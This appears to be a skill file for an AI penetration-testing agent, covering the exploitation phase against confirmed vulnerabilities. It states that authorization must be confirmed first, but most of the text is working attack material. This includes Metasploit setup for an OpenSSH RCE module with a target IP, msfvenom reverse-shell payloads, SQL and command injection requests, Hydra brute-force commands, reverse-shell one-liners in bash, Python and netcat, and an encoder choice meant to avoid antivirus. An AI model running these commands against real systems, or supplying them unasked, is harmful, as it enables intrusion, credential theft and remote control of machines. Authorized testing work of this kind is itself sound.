duriandurino/exploit

Exploitation Skill

Execute exploits against confirmed vulnerabilities. Confirm authorization before any exploitation.

When to Use

✅ USE this skill when:

• "Exploit this vulnerability"
• "Get a shell on 192.168.1.105"
• "Run the Metasploit module for CVE-2024-6387"
• "Try to gain access using the exploit we found"
• "Deliver a payload to this target"
• "Use the public exploit for this CVE"
• "Compromise this service"

When NOT to Use

❌ DON'T use this skill when:

• Still analyzing vulnerabilities → use vuln skill
• Need a shell after exploitation → use post skill
• Haven't confirmed the vulnerability exists → use vuln skill first
• No authorization to exploit → STOP and confirm scope

⚠️ Authorization & Safety

Before any exploitation:

1. Confirm target is in authorized scope
2. Confirm written authorization exists
3. Understand what could break (this is the destructive phase)
4. Have a rollback plan for critical targets
5. Document everything for the report

Raspberry Pi 5B note: Physical access is in scope. USB/HDMI/GPIO attacks may affect the device state. Document before/after state.

Exploitation Workflow

Step 1 — Select Exploit

From vuln analysis findings:

# Search Metasploit for matching module
msfconsole -q -x "search cve:2024-6387; exit"

# Or search by service
msfconsole -q -x "search type:exploit name:openssh; exit"

Step 2 — Configure & Run

# Launch msfconsole
msfconsole -q

# Select exploit
use exploit/linux/ssh/regreSSHion_rce

# Set target
set RHOSTS 192.168.1.105
set RPORT 22

# Set payload
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST <your_ip>
set LPORT 4444

# Run
exploit

Step 3 — Verify Access

# Check if we got a shell
whoami
id
hostname

Metasploit Command Reference

# Start
msfconsole -q

# Search modules
search cve:2024-6387
search type:exploit name:openssh
search type:auxiliary name:smb

# Use module
use exploit/linux/ssh/regreSSHion_rce

# Configure
show options
set RHOSTS 192.168.1.105
set RPORT 22
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
show targets
set TARGET 0

# Run
exploit -j      # Background job
exploit         # Foreground

# Sessions
sessions -l     # List sessions
sessions -i 1   # Interact with session 1
sessions -k 1   # Kill session 1

# Generate payloads (standalone)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o payload.elf
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o payload.exe
msfvenom -p php/meterpreter_reverse_tcp LHOST=<ip> LPORT=4444 -f raw -o payload.php

Manual Exploitation

When Metasploit doesn't have a module:

Public Exploits (from searchsploit)

# Find and download exploit
searchsploit openssh 8.2
searchsploit -m 49757          # Mirror to current dir

# Review exploit code before running
cat 49757.py
# NEVER run exploits blindly — understand what they do

# Execute
python3 49757.py 192.168.1.105 22

Web Exploits

# SQL injection (manual)
curl -s "http://target/login.php?user=admin'--"

# Command injection
curl -s "http://target/ping.php?ip=127.0.0.1;id"

# File upload bypass
curl -F "[email protected]" http://target/upload.php

Password Attacks

# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.105

# Hydra FTP
hydra -L /usr/share/wordlists/usernames.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.105

# Medusa
medusa -h 192.168.1.105 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh

Reverse Shell One-liners

# Bash
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Netcat
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <IP> <PORT> > /tmp/f

Payload Selection Guide

| Scenario | Payload | |----------|---------| | Linux target, need stable shell | linux/x64/meterpreter/reverse_tcp | | Linux target, quick check | linux/x64/shell_reverse_tcp | | Windows target | windows/x64/meterpreter/reverse_tcp | | PHP web shell | php/meterpreter_reverse_tcp | | One-liner, no file | linux/x64/shell_reverse_tcp (stageless) | | Encoded (avoids basic AV) | linux/x64/meterpreter/reverse_tcp + encoder |

Listener Setup (for reverse shells)

# Metasploit handler
msfconsole -q -x "
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
exploit -j
"

# Simple netcat listener
nc -lvnp 4444

# rlwrap for better shell
rlwrap nc -lvnp 4444

Documentation

Save exploitation results to engagements/<target>/exploit/ following the workspace engagement structure. The orchestrator will specify the target name. Preserve original filenames. NEVER create ad-hoc directories.

• Which exploit was used
• Whether it succeeded
• Access level obtained (user/root/shell type)
• Evidence (screenshots, output)
• Any issues encountered